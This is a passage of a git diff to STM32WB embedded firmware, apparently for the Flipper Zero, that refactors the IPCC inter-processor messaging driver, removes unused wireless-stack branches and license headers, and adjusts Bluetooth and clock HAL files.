- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ - -/* Includes ------------------------------------------------------------------*/ #include "app_common.h" #include +#include +#include + +#include +#include + +#include + +#define HW_IPCC_TX_PENDING(channel) \ + ((!(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, channel))) && \ + LL_C1_IPCC_IsEnabledTransmitChannel(IPCC, channel)) +#define HW_IPCC_RX_PENDING(channel) \ + (LL_C2_IPCC_IsActiveFlag_CHx(IPCC, channel) && \ + LL_C1_IPCC_IsEnabledReceiveChannel(IPCC, channel)) -/* Global variables ---------------------------------------------------------*/ -/* Private defines -----------------------------------------------------------*/ -#define HW_IPCC_TX_PENDING(channel) \ - (!(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, channel))) && (((~(IPCC->C1MR)) & ((channel) << 16U))) -#define HW_IPCC_RX_PENDING(channel) \ - (LL_C2_IPCC_IsActiveFlag_CHx(IPCC, channel)) && (((~(IPCC->C1MR)) & ((channel) << 0U))) - -/* Private macros ------------------------------------------------------------*/ -/* Private typedef -----------------------------------------------------------*/ -/* Private variables ---------------------------------------------------------*/ -static void (*FreeBufCb)(void); - -/* Private function prototypes -----------------------------------------------*/ -static void HW_IPCC_BLE_EvtHandler(void); -static void HW_IPCC_BLE_AclDataEvtHandler(void); -static void HW_IPCC_MM_FreeBufHandler(void); -static void HW_IPCC_SYS_CmdEvtHandler(void); -static void HW_IPCC_SYS_EvtHandler(void); -static void HW_IPCC_TRACES_EvtHandler(void); - -#ifdef THREAD_WB -static void HW_IPCC_OT_CmdEvtHandler(void); -static void HW_IPCC_THREAD_NotEvtHandler(void); -static void HW_IPCC_THREAD_CliNotEvtHandler(void); -#endif - -#ifdef LLD_TESTS_WB -static void HW_IPCC_LLDTESTS_ReceiveCliRspHandler(void); -static void HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(void); -#endif -#ifdef LLD_BLE_WB -/*static void HW_IPCC_LLD_BLE_ReceiveCliRspHandler( void );*/ -static void HW_IPCC_LLD_BLE_ReceiveRspHandler(void); -static void HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(void); -#endif - -#ifdef MAC_802_15_4_WB -static void HW_IPCC_MAC_802_15_4_CmdEvtHandler(void); -static void HW_IPCC_MAC_802_15_4_NotEvtHandler(void); -#endif - -#ifdef ZIGBEE_WB -static void HW_IPCC_ZIGBEE_CmdEvtHandler(void); -static void HW_IPCC_ZIGBEE_StackNotifEvtHandler(void); -static void HW_IPCC_ZIGBEE_StackM0RequestHandler(void); -#endif - -/* Public function definition -----------------------------------------------*/ - -/****************************************************************************** - * INTERRUPT HANDLER - ******************************************************************************/ -void HW_IPCC_Rx_Handler(void) { +static void (*FreeBufCb)(); + +static void HW_IPCC_BLE_EvtHandler(); +static void HW_IPCC_BLE_AclDataEvtHandler(); +static void HW_IPCC_MM_FreeBufHandler(); +static void HW_IPCC_SYS_CmdEvtHandler(); +static void HW_IPCC_SYS_EvtHandler(); +static void HW_IPCC_TRACES_EvtHandler(); + +void HW_IPCC_Rx_Handler() { if(HW_IPCC_RX_PENDING(HW_IPCC_SYSTEM_EVENT_CHANNEL)) { HW_IPCC_SYS_EvtHandler(); - } -#ifdef MAC_802_15_4_WB - else if(HW_IPCC_RX_PENDING(HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL)) { - HW_IPCC_MAC_802_15_4_NotEvtHandler(); - } -#endif /* MAC_802_15_4_WB */ -#ifdef THREAD_WB - else if(HW_IPCC_RX_PENDING(HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL)) { - HW_IPCC_THREAD_NotEvtHandler(); - } else if(HW_IPCC_RX_PENDING(HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL)) { - HW_IPCC_THREAD_CliNotEvtHandler(); - } -#endif /* THREAD_WB */ -#ifdef LLD_TESTS_WB - else if(HW_IPCC_RX_PENDING(HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL)) { - HW_IPCC_LLDTESTS_ReceiveCliRspHandler(); - } else if(HW_IPCC_RX_PENDING(HW_IPCC_LLDTESTS_M0_CMD_CHANNEL)) { - HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(); - } -#endif /* LLD_TESTS_WB */ -#ifdef LLD_BLE_WB - else if(HW_IPCC_RX_PENDING(HW_IPCC_LLD_BLE_RSP_CHANNEL)) { - HW_IPCC_LLD_BLE_ReceiveRspHandler(); - } else if(HW_IPCC_RX_PENDING(HW_IPCC_LLD_BLE_M0_CMD_CHANNEL)) { - HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(); - } -#endif /* LLD_TESTS_WB */ -#ifdef ZIGBEE_WB - else if(HW_IPCC_RX_PENDING(HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL)) { - HW_IPCC_ZIGBEE_StackNotifEvtHandler(); - } else if(HW_IPCC_RX_PENDING(HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL)) { - HW_IPCC_ZIGBEE_StackM0RequestHandler(); - } -#endif /* ZIGBEE_WB */ - else if(HW_IPCC_RX_PENDING(HW_IPCC_BLE_EVENT_CHANNEL)) { + } else if(HW_IPCC_RX_PENDING(HW_IPCC_BLE_EVENT_CHANNEL)) { HW_IPCC_BLE_EvtHandler(); } else if(HW_IPCC_RX_PENDING(HW_IPCC_TRACES_CHANNEL)) { HW_IPCC_TRACES_EvtHandler(); } - - return; } -void HW_IPCC_Tx_Handler(void) { +void HW_IPCC_Tx_Handler() { if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { HW_IPCC_SYS_CmdEvtHandler(); - } -#ifdef MAC_802_15_4_WB - else if(HW_IPCC_TX_PENDING(HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL)) { - HW_IPCC_MAC_802_15_4_CmdEvtHandler(); - } -#endif /* MAC_802_15_4_WB */ -#ifdef THREAD_WB - else if(HW_IPCC_TX_PENDING(HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL)) { - HW_IPCC_OT_CmdEvtHandler(); - } -#endif /* THREAD_WB */ -#ifdef LLD_TESTS_WB -// No TX handler for LLD tests -#endif /* LLD_TESTS_WB */ -#ifdef ZIGBEE_WB - if(HW_IPCC_TX_PENDING(HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL)) { - HW_IPCC_ZIGBEE_CmdEvtHandler(); - } -#endif /* ZIGBEE_WB */ - else if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { + } else if(HW_IPCC_TX_PENDING(HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { HW_IPCC_SYS_CmdEvtHandler(); } else if(HW_IPCC_TX_PENDING(HW_IPCC_MM_RELEASE_BUFFER_CHANNEL)) { HW_IPCC_MM_FreeBufHandler(); } else if(HW_IPCC_TX_PENDING(HW_IPCC_HCI_ACL_DATA_CHANNEL)) { HW_IPCC_BLE_AclDataEvtHandler(); } - - return; } -/****************************************************************************** - * GENERAL - ******************************************************************************/ -void HW_IPCC_Enable(void) { + +void HW_IPCC_Enable() { /** * Such as IPCC IP available to the CPU2, it is required to keep the IPCC clock running when FUS is running on CPU2 and CPU1 enters deep sleep mode @@ -177,11 +69,9 @@ void HW_IPCC_Enable(void) { __SEV(); /* Set the internal event flag and send an event to the CPU2 */ __WFE(); /* Clear the internal event flag */ LL_PWR_EnableBootC2(); - - return; } -void HW_IPCC_Init(void) { +void HW_IPCC_Init() { LL_C1_IPCC_EnableIT_RXO(IPCC); LL_C1_IPCC_EnableIT_TXF(IPCC); @@ -189,366 +79,62 @@ void HW_IPCC_Init(void) { NVIC_EnableIRQ(IPCC_C1_RX_IRQn); NVIC_SetPriority(IPCC_C1_TX_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 6, 0)); NVIC_EnableIRQ(IPCC_C1_TX_IRQn); - - return; } -/****************************************************************************** - * BLE - ******************************************************************************/ -void HW_IPCC_BLE_Init(void) { +void HW_IPCC_BLE_Init() { LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_BLE_EVENT_CHANNEL); - - return; } -void HW_IPCC_BLE_SendCmd(void) { +void HW_IPCC_BLE_SendCmd() { LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_BLE_CMD_CHANNEL); - - return; } -static void HW_IPCC_BLE_EvtHandler(void) { +static void HW_IPCC_BLE_EvtHandler() { HW_IPCC_BLE_RxEvtNot(); LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_BLE_EVENT_CHANNEL); - - return; } -void HW_IPCC_BLE_SendAclData(void) { +void HW_IPCC_BLE_SendAclData() { LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); - - return; } -static void HW_IPCC_BLE_AclDataEvtHandler(void) { +static void HW_IPCC_BLE_AclDataEvtHandler() { LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_HCI_ACL_DATA_CHANNEL); HW_IPCC_BLE_AclDataAckNot(); - - return; } -__weak void HW_IPCC_BLE_AclDataAckNot(void){}; -__weak void HW_IPCC_BLE_RxEvtNot(void){}; - -/****************************************************************************** - * SYSTEM - ******************************************************************************/ -void HW_IPCC_SYS_Init(void) { +void HW_IPCC_SYS_Init() { LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_SYSTEM_EVENT_CHANNEL); - - return; } -void HW_IPCC_SYS_SendCmd(void) { +void HW_IPCC_SYS_SendCmd() { LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); - LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); - return; + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(33000000); + + while(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL)) { + furi_check(!furi_hal_cortex_timer_is_expired(timer), "HW_IPCC_SYS_SendCmd timeout"); + } + + HW_IPCC_SYS_CmdEvtHandler(); } -static void HW_IPCC_SYS_CmdEvtHandler(void) { +static void HW_IPCC_SYS_CmdEvtHandler() { LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_SYSTEM_CMD_RSP_CHANNEL); HW_IPCC_SYS_CmdEvtNot(); - - return; } -static void HW_IPCC_SYS_EvtHandler(void) { +static void HW_IPCC_SYS_EvtHandler() { HW_IPCC_SYS_EvtNot(); LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_SYSTEM_EVENT_CHANNEL); - - return; -} - -__weak void HW_IPCC_SYS_CmdEvtNot(void){}; -__weak void HW_IPCC_SYS_EvtNot(void){}; - -/****************************************************************************** - * MAC 802.15.4 - ******************************************************************************/ -#ifdef MAC_802_15_4_WB -void HW_IPCC_MAC_802_15_4_Init(void) { - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); - - return; -} - -void HW_IPCC_MAC_802_15_4_SendCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); - LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); - - return; -} - -void HW_IPCC_MAC_802_15_4_SendAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); - - return; -} - -static void HW_IPCC_MAC_802_15_4_CmdEvtHandler(void) { - LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_MAC_802_15_4_CMD_RSP_CHANNEL); - - HW_IPCC_MAC_802_15_4_CmdEvtNot(); - - return; -} - -static void HW_IPCC_MAC_802_15_4_NotEvtHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_MAC_802_15_4_NOTIFICATION_ACK_CHANNEL); - - HW_IPCC_MAC_802_15_4_EvtNot(); - - return; -} -__weak void HW_IPCC_MAC_802_15_4_CmdEvtNot(void){}; -__weak void HW_IPCC_MAC_802_15_4_EvtNot(void){}; -#endif - -/****************************************************************************** - * THREAD - ******************************************************************************/ -#ifdef THREAD_WB -void HW_IPCC_THREAD_Init(void) { - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); - - return; -} - -void HW_IPCC_OT_SendCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); - LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); - - return; -} - -void HW_IPCC_CLI_SendCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_THREAD_CLI_CMD_CHANNEL); - - return; -} - -void HW_IPCC_THREAD_SendAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); - - return; -} - -void HW_IPCC_THREAD_CliSendAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); - - return; -} - -static void HW_IPCC_OT_CmdEvtHandler(void) { - LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_THREAD_OT_CMD_RSP_CHANNEL); - - HW_IPCC_OT_CmdEvtNot(); - - return; } -static void HW_IPCC_THREAD_NotEvtHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_THREAD_NOTIFICATION_ACK_CHANNEL); - - HW_IPCC_THREAD_EvtNot(); - - return; -} - -static void HW_IPCC_THREAD_CliNotEvtHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_THREAD_CLI_NOTIFICATION_ACK_CHANNEL); - - HW_IPCC_THREAD_CliEvtNot(); - - return; -} - -__weak void HW_IPCC_OT_CmdEvtNot(void){}; -__weak void HW_IPCC_CLI_CmdEvtNot(void){}; -__weak void HW_IPCC_THREAD_EvtNot(void){}; - -#endif /* THREAD_WB */ - -/****************************************************************************** - * LLD TESTS - ******************************************************************************/ -#ifdef LLD_TESTS_WB -void HW_IPCC_LLDTESTS_Init(void) { - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); - return; -} - -void HW_IPCC_LLDTESTS_SendCliCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLDTESTS_CLI_CMD_CHANNEL); - return; -} - -static void HW_IPCC_LLDTESTS_ReceiveCliRspHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); - HW_IPCC_LLDTESTS_ReceiveCliRsp(); - return; -} - -void HW_IPCC_LLDTESTS_SendCliRspAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); - return; -} - -static void HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); - HW_IPCC_LLDTESTS_ReceiveM0Cmd(); - return; -} - -void HW_IPCC_LLDTESTS_SendM0CmdAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); - return; -} -__weak void HW_IPCC_LLDTESTS_ReceiveCliRsp(void){}; -__weak void HW_IPCC_LLDTESTS_ReceiveM0Cmd(void){}; -#endif /* LLD_TESTS_WB */ - -/****************************************************************************** - * LLD BLE - ******************************************************************************/ -#ifdef LLD_BLE_WB -void HW_IPCC_LLD_BLE_Init(void) { - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL); - return; -} - -void HW_IPCC_LLD_BLE_SendCliCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CLI_CMD_CHANNEL); - return; -} - -/*static void HW_IPCC_LLD_BLE_ReceiveCliRspHandler( void ) -{ - LL_C1_IPCC_DisableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL ); - HW_IPCC_LLD_BLE_ReceiveCliRsp(); - return; -}*/ - -void HW_IPCC_LLD_BLE_SendCliRspAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL); - return; -} - -static void HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(void) { - //LL_C1_IPCC_DisableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL ); - HW_IPCC_LLD_BLE_ReceiveM0Cmd(); - return; -} - -void HW_IPCC_LLD_BLE_SendM0CmdAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL); - //LL_C1_IPCC_EnableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL ); - return; -} -__weak void HW_IPCC_LLD_BLE_ReceiveCliRsp(void){}; -__weak void HW_IPCC_LLD_BLE_ReceiveM0Cmd(void){}; - -/* Transparent Mode */ -void HW_IPCC_LLD_BLE_SendCmd(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CMD_CHANNEL); - return; -} - -static void HW_IPCC_LLD_BLE_ReceiveRspHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); - HW_IPCC_LLD_BLE_ReceiveRsp(); - return; -} - -void HW_IPCC_LLD_BLE_SendRspAck(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); - return; -} - -#endif /* LLD_BLE_WB */ - -/****************************************************************************** - * ZIGBEE - ******************************************************************************/ -#ifdef ZIGBEE_WB -void HW_IPCC_ZIGBEE_Init(void) { - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); - - return; -} - -void HW_IPCC_ZIGBEE_SendM4RequestToM0(void) { - LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); - LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); - - return; -} - -void HW_IPCC_ZIGBEE_SendM4AckToM0Notify(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); - - return; -} - -static void HW_IPCC_ZIGBEE_CmdEvtHandler(void) { - LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); - - HW_IPCC_ZIGBEE_RecvAppliAckFromM0(); - - return; -} - -static void HW_IPCC_ZIGBEE_StackNotifEvtHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); - - HW_IPCC_ZIGBEE_RecvM0NotifyToM4(); - - return; -} - -static void HW_IPCC_ZIGBEE_StackM0RequestHandler(void) { - LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); - - HW_IPCC_ZIGBEE_RecvM0RequestToM4(); - - return; -} - -void HW_IPCC_ZIGBEE_SendM4AckToM0Request(void) { - LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); - LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); - - return; -} - -__weak void HW_IPCC_ZIGBEE_RecvAppliAckFromM0(void){}; -__weak void HW_IPCC_ZIGBEE_RecvM0NotifyToM4(void){}; -__weak void HW_IPCC_ZIGBEE_RecvM0RequestToM4(void){}; -#endif /* ZIGBEE_WB */ - -/****************************************************************************** - * MEMORY MANAGER - ******************************************************************************/ -void HW_IPCC_MM_SendFreeBuf(void (*cb)(void)) { +void HW_IPCC_MM_SendFreeBuf(void (*cb)()) { if(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL)) { FreeBufCb = cb; LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); @@ -557,37 +143,22 @@ void HW_IPCC_MM_SendFreeBuf(void (*cb)(void)) { LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); } - - return; } -static void HW_IPCC_MM_FreeBufHandler(void) { +static void HW_IPCC_MM_FreeBufHandler() { LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); FreeBufCb(); LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); - - return; } -/****************************************************************************** - * TRACES - ******************************************************************************/ -void HW_IPCC_TRACES_Init(void) { +void HW_IPCC_TRACES_Init() { LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_TRACES_CHANNEL); - - return; } -static void HW_IPCC_TRACES_EvtHandler(void) { +static void HW_IPCC_TRACES_EvtHandler() { HW_IPCC_TRACES_EvtNot(); LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_TRACES_CHANNEL); - - return; } - -__weak void HW_IPCC_TRACES_EvtNot(void){}; - -/******************* (C) COPYRIGHT 2019 STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/osal.h b/firmware/targets/f7/ble_glue/osal.h index e5e0c4f689..0cde061794 100644 --- a/firmware/targets/f7/ble_glue/osal.h +++ b/firmware/targets/f7/ble_glue/osal.h @@ -1,25 +1,4 @@ -/***************************************************************************** - * @file osal.h - * @author MDG - * @brief This header file defines the OS abstraction layer used by - * the BLE stack. OSAL defines the set of functions which needs to be - * ported to target operating system and target platform. - * Actually, only memset, memcpy and memcmp wrappers are defined. - ***************************************************************************** - * @attention - * - * Copyright (c) 2018-2022 STMicroelectronics. - * All rights reserved. - * - * This software is licensed under terms that can be found in the LICENSE file - * in the root directory of this software component. - * If no LICENSE file comes with this software, it is provided AS-IS. - * - ***************************************************************************** - */ - -#ifndef OSAL_H__ -#define OSAL_H__ +#pragma once /** * This function copies size number of bytes from a @@ -59,5 +38,3 @@ extern void* Osal_MemSet(void* ptr, int value, unsigned int size); * @return 0 if the two buffers are equal, 1 otherwise */ extern int Osal_MemCmp(const void* s1, const void* s2, unsigned int size); - -#endif /* OSAL_H__ */ diff --git a/firmware/targets/f7/ble_glue/tl_dbg_conf.h b/firmware/targets/f7/ble_glue/tl_dbg_conf.h index ce58af32b8..daaa9d82ba 100644 --- a/firmware/targets/f7/ble_glue/tl_dbg_conf.h +++ b/firmware/targets/f7/ble_glue/tl_dbg_conf.h @@ -1,39 +1,12 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * File Name : App/tl_dbg_conf.h - * Description : Debug configuration file for stm32wpan transport layer interface. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ +#pragma once -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __TL_DBG_CONF_H -#define __TL_DBG_CONF_H +#include "app_conf.h" /* required as some configuration used in dbg_trace.h are set there */ +#include "dbg_trace.h" #ifdef __cplusplus extern "C" { #endif -/* USER CODE BEGIN Tl_Conf */ - -/* Includes ------------------------------------------------------------------*/ -#include "app_conf.h" /* required as some configuration used in dbg_trace.h are set there */ -#include "dbg_trace.h" -#include "hw_if.h" - /** * Enable or Disable traces * The raw data output is the hci binary packet format as specified by the BT specification * @@ -124,12 +97,6 @@ extern "C" { #define TL_MM_DBG_MSG(...) #endif -/* USER CODE END Tl_Conf */ - #ifdef __cplusplus } #endif - -#endif /*__TL_DBG_CONF_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/utilities_conf.h b/firmware/targets/f7/ble_glue/utilities_conf.h deleted file mode 100644 index 9c15f2263f..0000000000 --- a/firmware/targets/f7/ble_glue/utilities_conf.h +++ /dev/null @@ -1,68 +0,0 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * File Name : utilities_conf.h - * Description : Configuration file for STM32 Utilities. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2019 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef UTILITIES_CONF_H -#define UTILITIES_CONF_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "cmsis_compiler.h" -#include "string.h" -#include - -/****************************************************************************** - * common - ******************************************************************************/ -#define UTILS_ENTER_CRITICAL_SECTION() FURI_CRITICAL_ENTER() - -#define UTILS_EXIT_CRITICAL_SECTION() FURI_CRITICAL_EXIT() - -#define UTILS_MEMSET8(dest, value, size) memset(dest, value, size); - -/****************************************************************************** - * tiny low power manager - * (any macro that does not need to be modified can be removed) - ******************************************************************************/ -#define UTIL_LPM_INIT_CRITICAL_SECTION() -#define UTIL_LPM_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() -#define UTIL_LPM_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() - -/****************************************************************************** - * sequencer - * (any macro that does not need to be modified can be removed) - ******************************************************************************/ -#define UTIL_SEQ_INIT_CRITICAL_SECTION() -#define UTIL_SEQ_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() -#define UTIL_SEQ_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() -#define UTIL_SEQ_CONF_TASK_NBR (32) -#define UTIL_SEQ_CONF_PRIO_NBR (2) -#define UTIL_SEQ_MEMSET8(dest, value, size) UTILS_MEMSET8(dest, value, size) - -#ifdef __cplusplus -} -#endif - -#endif /*UTILITIES_CONF_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 57aee0bf2a..34818e5691 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -2,7 +2,11 @@ #include #include + #include +#include + +#include #include #include diff --git a/firmware/targets/f7/furi_hal/furi_hal_clock.c b/firmware/targets/f7/furi_hal/furi_hal_clock.c index 736ad9f7c0..86c8fd4676 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_clock.c +++ b/firmware/targets/f7/furi_hal/furi_hal_clock.c @@ -4,19 +4,26 @@ #include #include +#include #include #include +#include +#include + #define TAG "FuriHalClock" -#define CPU_CLOCK_HZ_EARLY 4000000 -#define CPU_CLOCK_HZ_MAIN 64000000 +#define CPU_CLOCK_EARLY_HZ 4000000 +#define CPU_CLOCK_HSI16_HZ 16000000 +#define CPU_CLOCK_HSE_HZ 32000000 +#define CPU_CLOCK_PLL_HZ 64000000 + #define TICK_INT_PRIORITY 15U #define HS_CLOCK_IS_READY() (LL_RCC_HSE_IsReady() && LL_RCC_HSI_IsReady()) #define LS_CLOCK_IS_READY() (LL_RCC_LSE_IsReady() && 